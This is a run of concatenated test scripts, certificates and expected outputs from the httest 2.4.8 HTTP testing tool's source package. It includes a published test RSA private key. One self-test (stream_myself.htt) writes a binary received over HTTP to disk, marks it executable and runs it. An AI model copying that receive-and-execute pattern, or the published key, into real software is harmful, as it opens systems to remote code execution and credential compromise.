EQUAL "foo" _IF "$B" EQUAL "bar" _IF "$C" EQUAL "bla" _EXIT OK _END IF _END IF _END IF _EXIT FAILED END CLIENT _CALL foo END httest-2.4.8/test/loop_auto.htt0000664000175100017510000000060012141535454013466 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "He" _EXPECT . "AS1" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _LOOP 2 __He _END LOOP __==AS1 - 0== __ END httest-2.4.8/test/assert.txt0000664000175100017510000000021312141535454013006 00000000000000 assert.hte:2: error: Did expect "100 == 101" assert.hte:2: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/sockstate.htt0000664000175100017510000000130612141535454013471 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "CONNECTED" _WAIT _SOCKSTATE STATE _IF "$STATE" MATCH "CLOSED" _CLOSE _END IF _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT _SOCKSTATE STATE __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __$STATE _CLOSE _SOCKSTATE STATE _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __$STATE __Reconnect END httest-2.4.8/test/stream_myself.htt0000664000175100017510000000221712203674077014351 00000000000000@:SKIP $OS win # not supported #SET MAX_DURATION=20000 INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _EXEC cp ../src/httest httest_tmp _EXEC strip httest_tmp _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ _PIPE _EXEC cat httest_tmp _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "httest[0-9a-z._]+" _WAIT _CLOSE _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Transfer-Encoding: chunked __ _FLUSH _PIPE chunked 2000 _EXEC cat httest_tmp _CHUNK _CHUNK _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "httest[0-9a-z._]+" _WAIT _EXEC rm httest_tmp END SERVER $YOUR_PORT # to avoid defunc sh we sleep a little before accept the first time _SLEEP 500 _LOOP 2 _RES _EXEC| cat > httest_streamed _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __GOT MYSELF PUSHED into httest_streamed :-) _EXEC chmod u+x httest_streamed _PIPE 200 _EXEC ./httest_streamed --version _EXEC rm httest_streamed _CLOSE _END LOOP END BLOCK FINALLY _EXEC rm -f httest_streamed _EXEC rm -f httest_tmp END httest-2.4.8/test/pipe_to_file.htt0000664000175100017510000000144612141535454014134 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "total" _EXPECT . "END" # Pipes the receved stuff into a script :) _EXEC| cat > tmp.txt _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ _PIPE _EXEC cat tmp.txt _EXEC rm -f tmp.txt _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _PIPE _EXEC ls -al __END _RES _EXPECT . "total" _EXPECT . "END" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ END httest-2.4.8/test/incomplete.htt0000664000175100017510000000120412141535454013625 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT ERROR "incomplete\(70008\)" _WAIT _CLOSE _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT ERROR "incomplete\(70008\)" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: 100 __ __Hallo Welt _CLOSE _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked __ __a __01234567 __ __a __01234567 _CLOSE END httest-2.4.8/test/icap_auto.htt0000664000175100017510000000100412141535454013430 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __REQMOD /your/path/to/your/resource?your=params ICAP/1.0 __Host: $YOUR_HOST __Encapsulated: req-hdr=0, null-body=AUTO __ __GET / HTTP/1.1 __Host: 127.0.0.1 __ _EXPECT . "ICAP/1.0 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __ICAP/1.0 200 OK __Connection: close __Encapsulated: req-hdr=0, res-hdr=AUTO, res-body=AUTO __ __GET / HTTP/1.1 __Host: 127.0.0.1 __ __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/plain __ __== AS1 == END httest-2.4.8/test/block_not_found.hte0000664000175100017510000000007012141535454014614 00000000000000INCLUDE $TOP/test/config.htb CLIENT _NOT_FOUND Foo END httest-2.4.8/test/urlencode.htt0000664000175100017510000000064712141535454013460 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "foo\+bar\+bla%2Bfasel%3Fblub%2Fblib%40foo%2Ebar%252Ffoobar" _WAIT END SERVER $YOUR_PORT _URLENC "foo bar bla+fasel?blub/blib@foo.bar%2Ffoobar" URLENC _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __$URLENC END httest-2.4.8/test/ssl_multi_socket.htt0000664000175100017510000000137312141535454015060 00000000000000INCLUDE $TOP/test/config.htb SET YOUR_PROXY=8082 CLIENT _REQ $YOUR_HOST SSL:$YOUR_PROXY __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "==AS1 - 0==" _WAIT END SERVER SSL:$YOUR_PROXY _CERT server.cert.pem server.key.pem _RES _MATCH headers "(GET.*)" GET_LINE _WAIT _REQ $YOUR_HOST $YOUR_PORT __$GET_LINE __Host: Proxy host __ _MATCH headers "(HTTP/1.1 .*)" RES_LINE _MATCH body "(==AS1.*)\r\n" RES_BODY_LINE _WAIT _RES __$RES_LINE __Content-Length: AUTO __ __$RES_BODY_LINE END SERVER $YOUR_PORT _RES _EXPECT . "/your/path/to/your/resource.your=params HTTP/1.1" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/ignore_body_space.htt0000664000175100017510000000142612141535454015147 00000000000000INCLUDE $TOP/test/config.htb CLIENT # add a space after "on" this must of course work _IGNORE_BODY on _LOOP 10 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "!Invisible" _WAIT _END LOOP _CLOSE _LOOP 10 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "!Invisible" _WAIT _END LOOP END SERVER $YOUR_PORT _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Invisible __${1K}${1K} _END LOOP _CLOSE _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __Invisible _-${1K} _CHUNK __${1K} _CHUNK _CHUNK _END LOOP END httest-2.4.8/test/binary_protocol.txt0000664000175100017510000000016712203674077014726 00000000000000 binary_protocol.hte:16: error: EXPECT .: Did expect "03 01" binary_protocol.hte:16: error: SRV0-0 Invalid argument(22)httest-2.4.8/test/block_lua.htt0000664000175100017510000000117612141535454013431 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyLuaThing param1 param2 : ret1 ret2 function expect(param, value) if param ~= value then error(param.." is not equal "..value) end end assert(param1) assert(param1 == "Hello World") assert(param2) assert(param2 == "Hehehe") expect(param1, "Hello World") expect(param2, "Hehehe") print() for i=1,10 do print("hallo "..i.." "..param1.." "..param2) end return "foo", "bar", "bla", "asdf" END CLIENT MyLuaThing "Hello World" "Hehehe" FOO BAR _DEBUG FOO == $FOO ; BAR == $BAR _EXPECT VAR(FOO) "foo" _EXPECT VAR(BAR) "bar" END httest-2.4.8/test/server.cert.pem0000664000175100017510000000661712203674077013733 00000000000000Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha1WithRSAEncryption Issuer: CN=htt.ca, C=CH, ST=Aargau, L=Wohlen, O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net Validity Not Before: Apr 29 15:05:37 2013 GMT Not After : Apr 27 15:05:37 2023 GMT Subject: C=CH, ST=Aargau, O=htt.sourceforge.net, CN=htt.ca/emailAddress=ia97lies@sourceforge.net Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (1024 bit) Modulus: 00:ce:c3:0e:97:d4:7f:31:f4:04:2f:16:19:85:36: 27:78:6e:dc:de:79:f3:0e:91:b3:7a:43:1f:fb:20: 41:1f:95:3e:9d:65:f4:1d:9a:78:d7:09:99:8d:17: 12:7e:b6:d1:94:84:84:46:4a:0d:f5:1f:31:f3:3c: 2c:bd:db:f0:9f:e1:b7:e3:55:44:1b:fc:22:0c:29: 7f:e4:5e:cc:2e:2a:0b:cc:d4:80:9e:b4:42:14:f1: ae:1e:bf:6d:fb:4f:60:39:6e:2d:e9:d0:9c:c7:f1: b9:e9:14:17:38:b6:46:d1:5e:d6:0c:54:32:9f:12: aa:9d:7a:08:03:3c:c1:f4:97 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: 0A:11:3F:E5:5C:92:B8:AF:30:87:C7:96:90:62:92:0D:CB:75:7B:A0 X509v3 Authority Key Identifier: keyid:9B:33:23:DA:C1:E6:B9:58:E1:86:25:5B:89:2A:A9:97:E0:1E:C2:A0 DirName:/CN=htt.ca/C=CH/ST=Aargau/L=Wohlen/O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net serial:C0:9D:BC:73:B9:AA:80:13 Signature Algorithm: sha1WithRSAEncryption c7:1b:3a:32:88:ba:05:4b:ff:fb:41:a7:e7:21:8c:7a:9f:aa: fd:07:6c:24:32:21:ba:4a:9e:3f:ef:92:db:b8:07:c4:e6:6b: 54:57:14:1a:fd:b4:21:f9:1c:c7:63:61:ad:02:46:7f:4c:b7: 56:35:8d:c1:c5:f2:24:cb:96:f1:81:88:c1:55:2a:ae:8e:8c: 13:1a:72:52:26:57:8d:44:8c:1f:2f:61:22:dd:05:e4:da:92: bd:38:51:36:e7:9c:07:48:77:0f:4f:66:62:21:df:ff:e6:b4: e5:41:da:82:31:0a:69:e5:de:20:c4:52:ba:c0:32:8b:04:01: da:20 -----BEGIN CERTIFICATE----- MIIDYTCCAsqgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBhzEPMA0GA1UEAxMGaHR0 LmNhMQswCQYDVQQGEwJDSDEPMA0GA1UECBMGQWFyZ2F1MQ8wDQYDVQQHEwZXb2hs ZW4xHDAaBgNVBAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxJzAlBgkqhkiG9w0BCQEW GGlhOTdsaWVzQHNvdXJjZWZvcmdlLm5ldDAeFw0xMzA0MjkxNTA1MzdaFw0yMzA0 MjcxNTA1MzdaMHYxCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxHDAaBgNV BAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxDzANBgNVBAMTBmh0dC5jYTEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MIGfMA0GCSqGSIb3DQEB AQUAA4GNADCBiQKBgQDOww6X1H8x9AQvFhmFNid4btzeefMOkbN6Qx/7IEEflT6d ZfQdmnjXCZmNFxJ+ttGUhIRGSg31HzHzPCy92/Cf4bfjVUQb/CIMKX/kXswuKgvM 1ICetEIU8a4ev237T2A5bi3p0JzH8bnpFBc4tkbRXtYMVDKfEqqdeggDPMH0lwID AQABo4HsMIHpMAkGA1UdEwQCMAAwHQYDVR0OBBYEFAoRP+VckrivMIfHlpBikg3L dXugMIG8BgNVHSMEgbQwgbGAFJszI9rB5rlY4YYlW4kqqZfgHsKgoYGNpIGKMIGH MQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUx DzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEn MCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0ggkAwJ28c7mq gBMwDQYJKoZIhvcNAQEFBQADgYEAxxs6Moi6BUv/+0Gn5yGMep+q/QdsJDIhukqe P++S27gHxOZrVFcUGv20Ifkcx2NhrQJGf0y3VjWNwcXyJMuW8YGIwVUqro6MExpy UiZXjUSMHy9hIt0F5NqSvThRNuecB0h3D09mYiHf/+a05UHagjEKaeXeIMRSusAy iwQB2iA= -----END CERTIFICATE----- httest-2.4.8/test/exec_expect.txt0000664000175100017510000000026512203674077014014 00000000000000 exec_expect.hte:10: error: EXPECT exec: Did not expect "foobar" exec_expect.hte:10: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/dummy5.htb0000664000175100017510000000001212141535454012660 00000000000000SET FOO=1 httest-2.4.8/test/loop_duration.htt0000664000175100017510000000025012203674077014350 00000000000000@:SKIP $OS win # FIXME? broaded range on win (but is VM and cygwin) INCLUDE $TOP/test/config.htb CLIENT _LOOP 5000 [ms] i _SLEEP 1000 _END _EXPECT VAR(i) "^4$" END httest-2.4.8/test/client2.cert.pem0000664000175100017510000000662612141535454013761 00000000000000Certificate: Data: Version: 3 (0x2) Serial Number: 2 (0x2) Signature Algorithm: sha1WithRSAEncryption Issuer: CN=htt.ca, C=CH, ST=Aargau, L=Wohlen, O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net Validity Not Before: Jan 29 21:03:05 2012 GMT Not After : Jan 26 21:03:05 2022 GMT Subject: C=CH, ST=Aargau, O=htt.sourceforge.net, CN=htt.ca/emailAddress=ia97lies@sourceforge.net Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:cc:f1:b6:ff:a6:ff:cb:ed:0a:44:a8:8c:41:d7: 7c:76:04:95:ea:08:cb:b4:66:2e:25:d4:48:cd:d2: 9e:37:a6:71:d5:71:67:5b:06:fc:93:bf:b9:b6:94: 77:5e:3d:bb:a4:9b:53:4f:bc:fb:82:a7:16:21:b2: 76:d2:de:13:66:bc:8b:ca:9b:aa:4f:d7:f2:67:4c: 55:0d:44:e4:ed:89:a8:c7:fe:74:1e:ef:de:8d:88: 86:21:a9:ab:24:4d:80:a9:e8:92:8f:44:3a:fd:67: 38:25:cc:13:88:df:07:f0:81:e5:a7:4b:a5:63:8d: d4:37:2a:e0:ed:38:32:78:a9 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: AE:8B:5E:39:20:C7:0F:F2:56:DC:CA:42:BC:F4:E0:AD:00:11:54:E0 X509v3 Authority Key Identifier: keyid:14:DE:EE:AC:9E:C4:12:32:E5:0B:26:7F:86:53:3D:58:D5:00:CD:E2 DirName:/CN=htt.ca/C=CH/ST=Aargau/L=Wohlen/O=htt.sourceforge.net/emailAddress=ia97lies@sourceforge.net serial:9F:A3:EC:62:5E:D7:75:80 Signature Algorithm: sha1WithRSAEncryption 07:a4:05:b3:d5:6a:d1:ce:e1:23:ae:36:66:d7:56:4f:0b:5e: 3b:e9:e9:bb:52:70:37:aa:e8:56:74:a2:f5:c2:0b:04:58:15: 3b:b9:85:62:a2:68:34:ed:74:13:af:49:48:81:3a:09:94:b8: 03:39:2b:bc:14:0b:6a:2e:8c:44:92:dd:45:f5:41:61:be:53: 01:51:04:5a:b3:09:69:5e:d5:72:ab:0e:29:fa:44:f9:7e:30: 17:31:25:0d:01:26:c4:d1:2e:c1:c2:03:4b:65:1a:19:90:e9: ff:4c:a5:c9:fb:bd:06:28:48:86:a8:0e:80:da:6c:56:a2:a4: da:68 -----BEGIN CERTIFICATE----- MIIDYTCCAsqgAwIBAgIBAjANBgkqhkiG9w0BAQUFADCBhzEPMA0GA1UEAxMGaHR0 LmNhMQswCQYDVQQGEwJDSDEPMA0GA1UECBMGQWFyZ2F1MQ8wDQYDVQQHEwZXb2hs ZW4xHDAaBgNVBAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxJzAlBgkqhkiG9w0BCQEW GGlhOTdsaWVzQHNvdXJjZWZvcmdlLm5ldDAeFw0xMjAxMjkyMTAzMDVaFw0yMjAx MjYyMTAzMDVaMHYxCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUxHDAaBgNV BAoTE2h0dC5zb3VyY2Vmb3JnZS5uZXQxDzANBgNVBAMTBmh0dC5jYTEnMCUGCSqG SIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0MIGfMA0GCSqGSIb3DQEB AQUAA4GNADCBiQKBgQDM8bb/pv/L7QpEqIxB13x2BJXqCMu0Zi4l1EjN0p43pnHV cWdbBvyTv7m2lHdePbukm1NPvPuCpxYhsnbS3hNmvIvKm6pP1/JnTFUNROTtiajH /nQe796NiIYhqaskTYCp6JKPRDr9ZzglzBOI3wfwgeWnS6VjjdQ3KuDtODJ4qQID AQABo4HsMIHpMAkGA1UdEwQCMAAwHQYDVR0OBBYEFK6LXjkgxw/yVtzKQrz04K0A EVTgMIG8BgNVHSMEgbQwgbGAFBTe7qyexBIy5Qsmf4ZTPVjVAM3ioYGNpIGKMIGH MQ8wDQYDVQQDEwZodHQuY2ExCzAJBgNVBAYTAkNIMQ8wDQYDVQQIEwZBYXJnYXUx DzANBgNVBAcTBldvaGxlbjEcMBoGA1UEChMTaHR0LnNvdXJjZWZvcmdlLm5ldDEn MCUGCSqGSIb3DQEJARYYaWE5N2xpZXNAc291cmNlZm9yZ2UubmV0ggkAn6PsYl7X dYAwDQYJKoZIhvcNAQEFBQADgYEAB6QFs9Vq0c7hI642ZtdWTwteO+npu1JwN6ro VnSi9cILBFgVO7mFYqJoNO10E69JSIE6CZS4AzkrvBQLai6MRJLdRfVBYb5TAVEE WrMJaV7VcqsOKfpE+X4wFzElDQEmxNEuwcIDS2UaGZDp/0ylyfu9BihIhqgOgNps VqKk2mg= -----END CERTIFICATE----- httest-2.4.8/test/stat.htt0000664000175100017510000000130512141535454012443 00000000000000SET MAX_DURATION=300000 INCLUDE $TOP/test/config.htb PERF:STAT ON PERF:STAT LOG tmp.log SET CONCURRENT=15 SET COUNT=10 CLIENT $CONCURRENT _LOOP $COUNT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _WAIT _CLOSE _END LOOP END SERVER $YOUR_PORT $CONCURRENT _LOOP $COUNT _RAND 1 10000000 RAND_DATA _RAND 1 5000 T _RES _WAIT _IF $RAND_DATA LT 5000000 __HTTP/1.1 200 OK _ELSE __HTTP/1.1 500 Internal Server Error _END __Content-Length: AUTO __Content-Type: text/html __Set-Data: DATA=1234567890abcdefghijklmnopqrstuvwxyz$RAND_DATA __ __$1K$1K$1K$1K$1K$1K$1K$1K __==AS1 - 0== __ _SLEEP $T _CLOSE _END LOOP END httest-2.4.8/test/client.key.pem0000664000175100017510000000156712203674077013535 00000000000000-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQC/DYnakJM7QftI6aGVQRif/U5jBWCkfkka4YngLwj7vYLLECav +ty2ND/FVGC5FxSDhs/S/9EyyOi4dKucGH20hG0W6YILmmRwqRz+VdNgcGOpTP3l 3Mu8Y8djg30adScwaGHR7vUFG08mesk1wzyOpb2hakHYE4cdiGCazcVz1wIDAQAB AoGBAIU0LkIZ/N0a8tVyNvt2KHIbzRRTAn+NoPDCATwx7wR9q/xiZWba9BmBMlkl rE5AHkhZrPqC69uJomBA0AmENdd469yyaoIuBnRrP9g7fOziAFVOHpRPr/wvRgku QFUv7dzprAOk+FNsXBp0QVtTk8o2Z8pyfLyTrL43vFMgEmvBAkEA+E8wOjbxskLB fZKPaTtazQuWAscGqIhOSWhEX5mNWT9GKGVG4gSpU6bpIegtnk2VH9cWRYamOS3R 9ZUOQ0tMIQJBAMT4XxJxC1kjY/wXPa/FYl9zTtOHggDV3E97qhVRt+w0fJ13aBch VZXOza349oCEyLZHcQRXbcDzTOG6K6Q/APcCQDaileX5OO0UKybKHKv211/OcM9j o19pvnAAdSrjymoctf8laZdJl0hErX88au0t/OXomYnquqBSKKR0i5La+oECQEHz yCGsqFgYeYoXXhhUxzOesG4zmVweP759cd3hluwIRxGSwc+84aNfs47lJeSykWI3 WahSffV1gfCzHZnJXtECQA5dn8THchpeoXqjm3GxavSWFrmNyBgg7GKseRdauBoC /72KgDEEmhWU5XOi0TDy43hSnhagS3bl8Dl3bjIQUVw= -----END RSA PRIVATE KEY----- httest-2.4.8/test/foreach.htt0000664000175100017510000000040212141535454013074 00000000000000INCLUDE $TOP/test/config.htb CLIENT _FOR I "foo bar bla fasel" _REQ $YOUR_HOST $YOUR_PORT __GET /$I HTTP/1.1 __Host: $YOUR_HOST __ _WAIT _END FOR END SERVER $YOUR_PORT _FOR I "foo bar bla fasel" _RES _EXPECT . "$I" _WAIT __HTTP/1.1 200 OK __ _END FOR END httest-2.4.8/test/ssl_get_wrong_cert.htt0000664000175100017510000000077212141535454015370 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT client2.cert.pem client2.key.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES server.cert.pem server.key.pem ca.cert.pem _WAIT _SSL:RENEG_CERT _SSL:GET_CERT_VALUE M_VERSION VERSION _DEBUG $VERSION __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/embedded_file.htt0000664000175100017510000000046012141535454014221 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/shell.htb SET FOO=bla FILE testfile _foo _bar _blafsel _$YOUR_PORT END CLIENT _EXPECT EXEC "foo\n" _EXPECT EXEC "bar\n" _EXPECT EXEC "blafsel\n" _EXPECT EXEC "!YOUR_PORT" setShellCommandVars _EXEC $CAT testfile END FILE testfile2 _foo _bar _blafsel END httest-2.4.8/test/block_local_vars.htt0000664000175100017510000000023012141535454014763 00000000000000INCLUDE $TOP/test/config.htb BLOCK _TEST _LOCAL A B C _SET A=foo END CLIENT _SET A=bla _TEST _IF "$A" EQUAL "bla" _EXIT OK _END IF _EXIT FAILED END httest-2.4.8/test/dso_foo_func.htt0000664000175100017510000000027612205174226014136 00000000000000@:SKIP $HOSTNAME mini # full static linking or windows DSO:LOAD_TRANSPORT_DSO $TOP/src/.libs/libhello.so foo CLIENT _DSO:FUNC foo_set "hallo welt\n" _DSO:FUNC foo_test "hallo welt\n" END httest-2.4.8/test/chunk.visual0000664000175100017510000000176612203674077013323 00000000000000 __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH >HTTP/1.1 200 OK >Transfer-Encoding: chunked __BEGIN _CHUNK > >7 >BEGIN __AS2 _CHUNK > >5 >AS2 __END _CHUNK > >5 >END _CHUNK > >0 __Trailing1: Stuff __Trailing2: Stuff __ >Trailing1: Stuff >Trailing2: Stuff > _WAIT tmp.txt CLIENT _SLEEP 1000 _EXEC echo hello world setShellCommandVars _EXEC $CAT tmp.txt >$DEV_NULL _EXEC $RM tmp.txt # "unix|windows" _EXPECT ERROR "Internal error|is not recognized" _EXEC noSuchCommand94237483263834 END httest-2.4.8/test/big_data.htt0000664000175100017510000000276712141535454013237 00000000000000INCLUDE $TOP/test/config.htb SET 1K=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "BEGIN" _EXPECT . "END" _EXPECT . "eeeeeeee" _EXPECT . "xxxxxxxx" _EXPECT . "yyyyyyyy" _EXPECT . "foo" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __BEGIN __eeeeeeee __xxxxxxxx __yyyyyyyy _LOOP 100 _-$1K$1K$1K$1K$1K$1K$1K$1K _END LOOP __foo __END END httest-2.4.8/test/block.htt0000664000175100017510000000051512141535454012564 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/test/block.htb # runs exactly one time CLIENT 2 _LOOP 80 _CALL ManualSetContentLength _END LOOP END SERVER $YOUR_PORT 2 _LOOP 80 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1== __ _END LOOP END DAEMON _SLEEP 30000 _EXIT FAILED END httest-2.4.8/test/tcp_main.htt0000664000175100017510000000044512141535454013266 00000000000000INCLUDE $TOP/test/config.htb CLIENT _SLEEP 200 _TCP:CONNECT $YOUR_HOST $YOUR_PORT _LOOP 100 _-1234567890 _FLUSH _EXPECT . "0987654321" _RECV 10 _END END CLIENT _TCP:LISTEN 0.0.0.0:$YOUR_PORT _TCP:ACCEPT _LOOP 100 _EXPECT . "1234567890" _RECV 10 _-0987654321 _FLUSH _END END httest-2.4.8/test/ssl_mutual_verify.htt0000664000175100017510000000174112141535454015250 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT # also test if we could load cert and key in a client _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem ca.cert.pem _VERIFY_PEER _SSL_CERT_VAL M_VERSION VERSION __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Cert version $VERSION _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST SSL:$YOUR_PORT client.cert.pem client.key.pem ca.cert.pem __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . 